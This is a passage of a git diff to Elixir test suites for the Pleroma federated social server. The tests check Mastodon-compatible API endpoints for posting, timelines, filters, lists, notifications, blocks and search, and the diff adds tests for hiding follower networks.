{:ok, [_activity]} =
OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
conn =
conn
|> get("/api/v1/timelines/public", %{"local" => "False"})
assert length(json_response(conn, 200)) == 2
conn =
build_conn()
|> get("/api/v1/timelines/public", %{"local" => "True"})
assert [%{"content" => "test"}] = json_response(conn, 200)
conn =
build_conn()
|> get("/api/v1/timelines/public", %{"local" => "1"})
assert [%{"content" => "test"}] = json_response(conn, 200)
end)
end
test "posting a status", %{conn: conn} do
user = insert(:user)
idempotency_key = "Pikachu rocks!"
conn_one =
conn
|> assign(:user, user)
|> put_req_header("idempotency-key", idempotency_key)
|> post("/api/v1/statuses", %{
"status" => "cofe",
"spoiler_text" => "2hu",
"sensitive" => "false"
})
{:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
# Six hours
assert ttl > :timer.seconds(6 * 60 * 60 - 1)
assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
json_response(conn_one, 200)
assert Repo.get(Activity, id)
conn_two =
conn
|> assign(:user, user)
|> put_req_header("idempotency-key", idempotency_key)
|> post("/api/v1/statuses", %{
"status" => "cofe",
"spoiler_text" => "2hu",
"sensitive" => "false"
})
assert %{"id" => second_id} = json_response(conn_two, 200)
assert id == second_id
conn_three =
conn
|> assign(:user, user)
|> post("/api/v1/statuses", %{
"status" => "cofe",
"spoiler_text" => "2hu",
"sensitive" => "false"
})
assert %{"id" => third_id} = json_response(conn_three, 200)
refute id == third_id
end
test "posting a sensitive status", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})
assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200)
assert Repo.get(Activity, id)
end
test "posting a direct status", %{conn: conn} do
user1 = insert(:user)
user2 = insert(:user)
content = "direct cofe @#{user2.nickname}"
conn =
conn
|> assign(:user, user1)
|> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})
assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200)
assert activity = Repo.get(Activity, id)
assert activity.recipients == [user2.ap_id]
assert activity.data["to"] == [user2.ap_id]
assert activity.data["cc"] == []
end
test "direct timeline", %{conn: conn} do
user_one = insert(:user)
user_two = insert(:user)
{:ok, user_two} = User.follow(user_two, user_one)
{:ok, direct} =
CommonAPI.post(user_one, %{
"status" => "Hi @#{user_two.nickname}!",
"visibility" => "direct"
})
{:ok, _follower_only} =
CommonAPI.post(user_one, %{
"status" => "Hi @#{user_two.nickname}!",
"visibility" => "private"
})
# Only direct should be visible here
res_conn =
conn
|> assign(:user, user_two)
|> get("api/v1/timelines/direct")
[status] = json_response(res_conn, 200)
assert %{"visibility" => "direct"} = status
assert status["url"] != direct.data["id"]
# Both should be visible here
res_conn =
conn
|> assign(:user, user_two)
|> get("api/v1/timelines/home")
[_s1, _s2] = json_response(res_conn, 200)
# Test pagination
Enum.each(1..20, fn _ ->
{:ok, _} =
CommonAPI.post(user_one, %{
"status" => "Hi @#{user_two.nickname}!",
"visibility" => "direct"
})
end)
res_conn =
conn
|> assign(:user, user_two)
|> get("api/v1/timelines/direct")
statuses = json_response(res_conn, 200)
assert length(statuses) == 20
res_conn =
conn
|> assign(:user, user_two)
|> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]})
[status] = json_response(res_conn, 200)
assert status["url"] != direct.data["id"]
end
test "replying to a status", %{conn: conn} do
user = insert(:user)
{:ok, replied_to} = TwitterAPI.create_status(user, %{"status" => "cofe"})
conn =
conn
|> assign(:user, user)
|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
activity = Repo.get(Activity, id)
assert activity.data["context"] == replied_to.data["context"]
assert activity.data["object"]["inReplyToStatusId"] == replied_to.id
end
test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})
assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
activity = Repo.get(Activity, id)
assert activity
end
test "verify_credentials", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
assert %{"id" => id, "source" => %{"privacy" => "public"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
test "verify_credentials default scope unlisted", %{conn: conn} do
user = insert(:user, %{info: %Pleroma.User.Info{default_scope: "unlisted"}})
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
test "get a status", %{conn: conn} do
activity = insert(:note_activity)
conn =
conn
|> get("/api/v1/statuses/#{activity.id}")
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(activity.id)
end
describe "deleting a status" do
test "when you created it", %{conn: conn} do
activity = insert(:note_activity)
author = User.get_by_ap_id(activity.data["actor"])
conn =
conn
|> assign(:user, author)
|> delete("/api/v1/statuses/#{activity.id}")
assert %{} = json_response(conn, 200)
assert Repo.get(Activity, activity.id) == nil
end
test "when you didn't create it", %{conn: conn} do
activity = insert(:note_activity)
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> delete("/api/v1/statuses/#{activity.id}")
assert %{"error" => _} = json_response(conn, 403)
assert Repo.get(Activity, activity.id) == activity
end
end
describe "filters" do
test "creating a filter", %{conn: conn} do
user = insert(:user)
filter = %Pleroma.Filter{
phrase: "knights",
context: ["home"]
}
conn =
conn
|> assign(:user, user)
|> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})
assert response = json_response(conn, 200)
assert response["phrase"] == filter.phrase
assert response["context"] == filter.context
assert response["id"] != nil
assert response["id"] != ""
end
test "fetching a list of filters", %{conn: conn} do
user = insert(:user)
query_one = %Pleroma.Filter{
user_id: user.id,
filter_id: 1,
phrase: "knights",
context: ["home"]
}
query_two = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "who",
context: ["home"]
}
{:ok, filter_one} = Pleroma.Filter.create(query_one)
{:ok, filter_two} = Pleroma.Filter.create(query_two)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/filters")
assert response = json_response(conn, 200)
end
test "get a filter", %{conn: conn} do
user = insert(:user)
query = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "knight",
context: ["home"]
}
{:ok, filter} = Pleroma.Filter.create(query)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/filters/#{filter.filter_id}")
assert response = json_response(conn, 200)
end
test "update a filter", %{conn: conn} do
user = insert(:user)
query = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "knight",
context: ["home"]
}
{:ok, filter} = Pleroma.Filter.create(query)
new = %Pleroma.Filter{
phrase: "nii",
context: ["home"]
}
conn =
conn
|> assign(:user, user)
|> put("/api/v1/filters/#{query.filter_id}", %{
phrase: new.phrase,
context: new.context
})
assert response = json_response(conn, 200)
assert response["phrase"] == new.phrase
assert response["context"] == new.context
end
test "delete a filter", %{conn: conn} do
user = insert(:user)
query = %Pleroma.Filter{
user_id: user.id,
filter_id: 2,
phrase: "knight",
context: ["home"]
}
{:ok, filter} = Pleroma.Filter.create(query)
conn =
conn
|> assign(:user, user)
|> delete("/api/v1/filters/#{filter.filter_id}")
assert response = json_response(conn, 200)
assert response == %{}
end
end
describe "lists" do
test "creating a list", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/lists", %{"title" => "cuties"})
assert %{"title" => title} = json_response(conn, 200)
assert title == "cuties"
end
test "adding users to a list", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
assert %{} == json_response(conn, 200)
%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
assert following == [other_user.follower_address]
end
test "removing users from a list", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
third_user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
{:ok, list} = Pleroma.List.follow(list, other_user)
{:ok, list} = Pleroma.List.follow(list, third_user)
conn =
conn
|> assign(:user, user)
|> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
assert %{} == json_response(conn, 200)
%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
assert following == [third_user.follower_address]
end
test "listing users in a list", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
{:ok, list} = Pleroma.List.follow(list, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(other_user.id)
end
test "retrieving a list", %{conn: conn} do
user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/lists/#{list.id}")
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(list.id)
end
test "renaming a list", %{conn: conn} do
user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> put("/api/v1/lists/#{list.id}", %{"title" => "newname"})
assert %{"title" => name} = json_response(conn, 200)
assert name == "newname"
end
test "deleting a list", %{conn: conn} do
user = insert(:user)
{:ok, list} = Pleroma.List.create("name", user)
conn =
conn
|> assign(:user, user)
|> delete("/api/v1/lists/#{list.id}")
assert %{} = json_response(conn, 200)
assert is_nil(Repo.get(Pleroma.List, list.id))
end
test "list timeline", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, _activity_one} = TwitterAPI.create_status(user, %{"status" => "Marisa is cute."})
{:ok, activity_two} = TwitterAPI.create_status(other_user, %{"status" => "Marisa is cute."})
{:ok, list} = Pleroma.List.create("name", user)
{:ok, list} = Pleroma.List.follow(list, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/timelines/list/#{list.id}")
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(activity_two.id)
end
test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity_one} = TwitterAPI.create_status(other_user, %{"status" => "Marisa is cute."})
{:ok, activity_two} =
TwitterAPI.create_status(other_user, %{
"status" => "Marisa is cute.",
"visibility" => "private"
})
{:ok, list} = Pleroma.List.create("name", user)
{:ok, list} = Pleroma.List.follow(list, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/timelines/list/#{list.id}")
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(activity_one.id)
end
end
describe "notifications" do
test "list of notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications")
expected_response =
- "hi <span><a href=\"#{user.ap_id}\">@<span>#{user.nickname}</span></a></span>"
+ "hi <span><a data-user=\"#{user.id}\" href=\"#{user.ap_id}\">@<span>#{user.nickname}</span></a></span>"
assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
assert response == expected_response
end
test "getting a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/notifications/#{notification.id}")
expected_response =
- "hi <span><a href=\"#{user.ap_id}\">@<span>#{user.nickname}</span></a></span>"
+ "hi <span><a data-user=\"#{user.id}\" href=\"#{user.ap_id}\">@<span>#{user.nickname}</span></a></span>"
assert %{"status" => %{"content" => response}} = json_response(conn, 200)
assert response == expected_response
end
test "dismissing a single notification", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})
assert %{} = json_response(conn, 200)
end
test "clearing all notifications", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, activity} =
TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})
{:ok, [_notification]} = Notification.create_notifications(activity)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/notifications/clear")
assert %{} = json_response(conn, 200)
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/notifications")
assert all = json_response(conn, 200)
assert all == []
end
end
describe "reblogging" do
test "reblogs and returns the reblogged status", %{conn: conn} do
activity = insert(:note_activity)
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/statuses/#{activity.id}/reblog")
assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
json_response(conn, 200)
assert to_string(activity.id) == id
end
end
describe "unreblogging" do
test "unreblogs and returns the unreblogged status", %{conn: conn} do
activity = insert(:note_activity)
user = insert(:user)
{:ok, _, _} = CommonAPI.repeat(activity.id, user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/statuses/#{activity.id}/unreblog")
assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200)
assert to_string(activity.id) == id
end
end
describe "favoriting" do
test "favs a status and returns it", %{conn: conn} do
activity = insert(:note_activity)
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/statuses/#{activity.id}/favourite")
assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
json_response(conn, 200)
assert to_string(activity.id) == id
end
test "returns 500 for a wrong id", %{conn: conn} do
user = insert(:user)
resp =
conn
|> assign(:user, user)
|> post("/api/v1/statuses/1/favourite")
|> json_response(500)
assert resp == "Something went wrong"
end
end
describe "unfavoriting" do
test "unfavorites a status and returns it", %{conn: conn} do
activity = insert(:note_activity)
user = insert(:user)
{:ok, _, _} = CommonAPI.favorite(activity.id, user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/statuses/#{activity.id}/unfavourite")
assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
json_response(conn, 200)
assert to_string(activity.id) == id
end
end
describe "user timelines" do
test "gets a users statuses", %{conn: conn} do
user_one = insert(:user)
user_two = insert(:user)
user_three = insert(:user)
{:ok, user_three} = User.follow(user_three, user_one)
{:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"})
{:ok, direct_activity} =
CommonAPI.post(user_one, %{
"status" => "Hi, @#{user_two.nickname}.",
"visibility" => "direct"
})
{:ok, private_activity} =
CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"})
resp =
conn
|> get("/api/v1/accounts/#{user_one.id}/statuses")
assert [%{"id" => id}] = json_response(resp, 200)
assert id == to_string(activity.id)
resp =
conn
|> assign(:user, user_two)
|> get("/api/v1/accounts/#{user_one.id}/statuses")
assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
assert id_one == to_string(direct_activity.id)
assert id_two == to_string(activity.id)
resp =
conn
|> assign(:user, user_three)
|> get("/api/v1/accounts/#{user_one.id}/statuses")
assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
assert id_one == to_string(private_activity.id)
assert id_two == to_string(activity.id)
end
test "unimplemented pinned statuses feature", %{conn: conn} do
note = insert(:note_activity)
user = User.get_by_ap_id(note.data["actor"])
conn =
conn
|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
assert json_response(conn, 200) == []
end
test "gets an users media", %{conn: conn} do
note = insert(:note_activity)
user = User.get_by_ap_id(note.data["actor"])
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image.jpg"),
filename: "an_image.jpg"
}
media =
- TwitterAPI.upload(file, "json")
+ TwitterAPI.upload(file, user, "json")
|> Poison.decode!()
{:ok, image_post} =
TwitterAPI.create_status(user, %{"status" => "cofe", "media_ids" => [media["media_id"]]})
conn =
conn
|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(image_post.id)
conn =
build_conn()
|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"})
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(image_post.id)
end
end
describe "user relationships" do
test "returns the relationships for the current user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/relationships", %{"id" => [other_user.id]})
assert [relationship] = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
end
end
describe "locked accounts" do
test "/api/v1/follow_requests works" do
user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
other_user = insert(:user)
{:ok, activity} = ActivityPub.follow(other_user, user)
user = Repo.get(User, user.id)
other_user = Repo.get(User, other_user.id)
assert User.following?(other_user, user) == false
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/follow_requests")
assert [relationship] = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
end
test "/api/v1/follow_requests/:id/authorize works" do
user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
other_user = insert(:user)
{:ok, activity} = ActivityPub.follow(other_user, user)
user = Repo.get(User, user.id)
other_user = Repo.get(User, other_user.id)
assert User.following?(other_user, user) == false
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/follow_requests/#{other_user.id}/authorize")
assert relationship = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
user = Repo.get(User, user.id)
other_user = Repo.get(User, other_user.id)
assert User.following?(other_user, user) == true
end
test "verify_credentials", %{conn: conn} do
user = insert(:user, %{info: %Pleroma.User.Info{default_scope: "private"}})
conn =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
test "/api/v1/follow_requests/:id/reject works" do
user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
other_user = insert(:user)
{:ok, activity} = ActivityPub.follow(other_user, user)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/follow_requests/#{other_user.id}/reject")
assert relationship = json_response(conn, 200)
assert to_string(other_user.id) == relationship["id"]
user = Repo.get(User, user.id)
other_user = Repo.get(User, other_user.id)
assert User.following?(other_user, user) == false
end
end
test "account fetching", %{conn: conn} do
user = insert(:user)
conn =
conn
|> get("/api/v1/accounts/#{user.id}")
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(user.id)
conn =
build_conn()
|> get("/api/v1/accounts/-1")
assert %{"error" => "Can't find user"} = json_response(conn, 404)
end
test "media upload", %{conn: conn} do
file = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image.jpg"),
filename: "an_image.jpg"
}
desc = "Description of the image"
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/media", %{"file" => file, "description" => desc})
assert media = json_response(conn, 200)
assert media["type"] == "image"
assert media["description"] == desc
+ assert media["id"]
+
+ object = Repo.get(Object, media["id"])
+ assert object.data["actor"] == User.ap_id(user)
end
test "hashtag timeline", %{conn: conn} do
following = insert(:user)
capture_log(fn ->
{:ok, activity} = TwitterAPI.create_status(following, %{"status" => "test #2hu"})
{:ok, [_activity]} =
OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
nconn =
conn
|> get("/api/v1/timelines/tag/2hu")
assert [%{"id" => id}] = json_response(nconn, 200)
assert id == to_string(activity.id)
# works for different capitalization too
nconn =
conn
|> get("/api/v1/timelines/tag/2HU")
assert [%{"id" => id}] = json_response(nconn, 200)
assert id == to_string(activity.id)
end)
end
test "getting followers", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> get("/api/v1/accounts/#{other_user.id}/followers")
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(user.id)
end
+ test "getting followers, hide_network", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user, %{info: %{hide_network: true}})
+ {:ok, user} = User.follow(user, other_user)
+
+ conn =
+ conn
+ |> get("/api/v1/accounts/#{other_user.id}/followers")
+
+ assert [] == json_response(conn, 200)
+ end
+
+ test "getting followers, hide_network, same user requesting", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user, %{info: %{hide_network: true}})
+ {:ok, user} = User.follow(user, other_user)
+
+ conn =
+ conn
+ |> assign(:user, other_user)
+ |> get("/api/v1/accounts/#{other_user.id}/followers")
+
+ refute [] == json_response(conn, 200)
+ end
+
test "getting following", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, user} = User.follow(user, other_user)
conn =
conn
|> get("/api/v1/accounts/#{user.id}/following")
assert [%{"id" => id}] = json_response(conn, 200)
assert id == to_string(other_user.id)
end
+ test "getting following, hide_network", %{conn: conn} do
+ user = insert(:user, %{info: %{hide_network: true}})
+ other_user = insert(:user)
+ {:ok, user} = User.follow(user, other_user)
+
+ conn =
+ conn
+ |> get("/api/v1/accounts/#{user.id}/following")
+
+ assert [] == json_response(conn, 200)
+ end
+
+ test "getting following, hide_network, same user requesting", %{conn: conn} do
+ user = insert(:user, %{info: %{hide_network: true}})
+ other_user = insert(:user)
+ {:ok, user} = User.follow(user, other_user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/#{user.id}/following")
+
+ refute [] == json_response(conn, 200)
+ end
+
test "following / unfollowing a user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/follow")
assert %{"id" => _id, "following" => true} = json_response(conn, 200)
user = Repo.get(User, user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/unfollow")
assert %{"id" => _id, "following" => false} = json_response(conn, 200)
user = Repo.get(User, user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/follows", %{"uri" => other_user.nickname})
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(other_user.id)
end
test "blocking / unblocking a user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
conn =
conn
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/block")
assert %{"id" => _id, "blocking" => true} = json_response(conn, 200)
user = Repo.get(User, user.id)
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/unblock")
assert %{"id" => _id, "blocking" => false} = json_response(conn, 200)
end
test "getting a list of blocks", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, user} = User.block(user, other_user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/blocks")
other_user_id = to_string(other_user.id)
assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
end
test "blocking / unblocking a domain", %{conn: conn} do
user = insert(:user)
other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})
conn =
conn
|> assign(:user, user)
|> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
assert %{} = json_response(conn, 200)
user = User.get_cached_by_ap_id(user.ap_id)
assert User.blocks?(user, other_user)
conn =
build_conn()
|> assign(:user, user)
|> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})
assert %{} = json_response(conn, 200)
user = User.get_cached_by_ap_id(user.ap_id)
refute User.blocks?(user, other_user)
end
test "getting a list of domain blocks", %{conn: conn} do
user = insert(:user)
{:ok, user} = User.block_domain(user, "bad.site")
{:ok, user} = User.block_domain(user, "even.worse.site")
conn =
conn
|> assign(:user, user)
|> get("/api/v1/domain_blocks")
domain_blocks = json_response(conn, 200)
assert "bad.site" in domain_blocks
assert "even.worse.site" in domain_blocks
end
test "unimplemented mute endpoints" do
user = insert(:user)
other_user = insert(:user)
["mute", "unmute"]
|> Enum.each(fn endpoint ->
conn =
build_conn()
|> assign(:user, user)
|> post("/api/v1/accounts/#{other_user.id}/#{endpoint}")
assert %{"id" => id} = json_response(conn, 200)
assert id == to_string(other_user.id)
end)
end
test "unimplemented mutes, follow_requests, blocks, domain blocks" do
user = insert(:user)
["blocks", "domain_blocks", "mutes", "follow_requests"]
|> Enum.each(fn endpoint ->
conn =
build_conn()
|> assign(:user, user)
|> get("/api/v1/#{endpoint}")
assert [] = json_response(conn, 200)
end)
end
test "account search", %{conn: conn} do
user = insert(:user)
user_two = insert(:user, %{nickname: "shp@shitposter.club"})
user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})
results =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/search", %{"q" => "shp"})
|> json_response(200)
result_ids = for result <- results, do: result["acct"]
assert user_two.nickname in result_ids
assert user_three.nickname in result_ids
results =
conn
|> assign(:user, user)
|> get("/api/v1/accounts/search", %{"q" => "2hu"})
|> json_response(200)
result_ids = for result <- results, do: result["acct"]
assert user_three.nickname in result_ids
end
test "search", %{conn: conn} do
user = insert(:user)
user_two = insert(:user, %{nickname: "shp@shitposter.club"})
user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})
{:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu"})
{:ok, _activity} =
CommonAPI.post(user, %{
"status" => "This is about 2hu, but private",
"visibility" => "private"
})
{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})
conn =
conn
|> get("/api/v1/search", %{"q" => "2hu"})
assert results = json_response(conn, 200)
[account | _] = results["accounts"]
assert account["id"] == to_string(user_three.id)
assert results["hashtags"] == []
[status] = results["statuses"]
assert status["id"] == to_string(activity.id)
end
test "search fetches remote statuses", %{conn: conn} do
capture_log(fn ->
conn =
conn
|> get("/api/v1/search", %{"q" => "https://shitposter.club/notice/2827873"})
assert results = json_response(conn, 200)
[status] = results["statuses"]
assert status["uri"] == "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
end)
end
test "search fetches remote accounts", %{conn: conn} do
conn =
conn
|> get("/api/v1/search", %{"q" => "shp@social.heldscal.la", "resolve" => "true"})
assert results = json_response(conn, 200)
[account] = results["accounts"]
assert account["acct"] == "shp@social.heldscal.la"
end
test "returns the favorites of a user", %{conn: conn} do
user = insert(:user)
other_user = insert(:user)
{:ok, _} = CommonAPI.post(other_user, %{"status" => "bla"})
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "traps are happy"})
{:ok, _, _} = CommonAPI.favorite(activity.id, user)
conn =
conn
|> assign(:user, user)
|> get("/api/v1/favourites")
assert [status] = json_response(conn, 200)
assert status["id"] == to_string(activity.id)
end
describe "updating credentials" do
test "updates the user's bio", %{conn: conn} do
user = insert(:user)
user2 = insert(:user)
conn =
conn
|> assign(:user, user)
|> patch("/api/v1/accounts/update_credentials", %{
"note" => "I drink #cofe with @#{user2.nickname}"
})
assert user = json_response(conn, 200)
assert user["note"] ==
- "I drink <a href=\"http://localhost:4001/tag/cofe\">#cofe</a> with <span><a href=\"#{
- user2.ap_id
- }\">@<span>#{user2.nickname}</span></a></span>"
+ "I drink <a data-tag=\"cofe\" href=\"http://localhost:4001/tag/cofe\">#cofe</a> with <span><a data-user=\"#{
+ user2.id
+ }\" href=\"#{user2.ap_id}\">@<span>#{user2.nickname}</span></a></span>"
end
test "updates the user's locking status", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> patch("/api/v1/accounts/update_credentials", %{locked: "true"})
assert user = json_response(conn, 200)
assert user["locked"] == true
end
test "updates the user's name", %{conn: conn} do
user = insert(:user)
conn =
conn
|> assign(:user, user)
|> patch("/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"})
assert user = json_response(conn, 200)
assert user["display_name"] == "markorepairs"
end
test "updates the user's avatar", %{conn: conn} do
user = insert(:user)
new_avatar = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image.jpg"),
filename: "an_image.jpg"
}
conn =
conn
|> assign(:user, user)
|> patch("/api/v1/accounts/update_credentials", %{"avatar" => new_avatar})
assert user_response = json_response(conn, 200)
assert user_response["avatar"] != User.avatar_url(user)
end
test "updates the user's banner", %{conn: conn} do
user = insert(:user)
new_header = %Plug.Upload{
content_type: "image/jpg",
path: Path.absname("test/fixtures/image.jpg"),
filename: "an_image.jpg"
}
conn =
conn
|> assign(:user, user)
|> patch("/api/v1/accounts/update_credentials", %{"header" => new_header})
assert user_response = json_response(conn, 200)
assert user_response["header"] != User.banner_url(user)
end
end
test "get instance information", %{conn: conn} do
insert(:user, %{local: true})
user = insert(:user, %{local: true})
insert(:user, %{local: false})
{:ok, _} = TwitterAPI.create_status(user, %{"status" => "cofe"})
Pleroma.Stats.update_stats()
conn =
conn
|> get("/api/v1/instance")
assert result = json_response(conn, 200)
assert result["stats"]["user_count"] == 2
assert result["stats"]["status_count"] == 1
end
end
diff --git a/test/web/twitter_api/twitter_api_controller_test.exs b/test/web/twitter_api/twitter_api_controller_test.exs
index a6495ffc1..4119d1dd8 100644
--- a/test/web/twitter_api/twitter_api_controller_test.exs
+++ b/test/web/twitter_api/twitter_api_controller_test.exs
@@ -1,1256 +1,1457 @@
defmodule Pleroma.Web.TwitterAPI.ControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.Web.TwitterAPI.Representers.ActivityRepresenter
alias Pleroma.Builders.{ActivityBuilder, UserBuilder}
alias Pleroma.{Repo, Activity, User, Object, Notification}
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.TwitterAPI.UserView
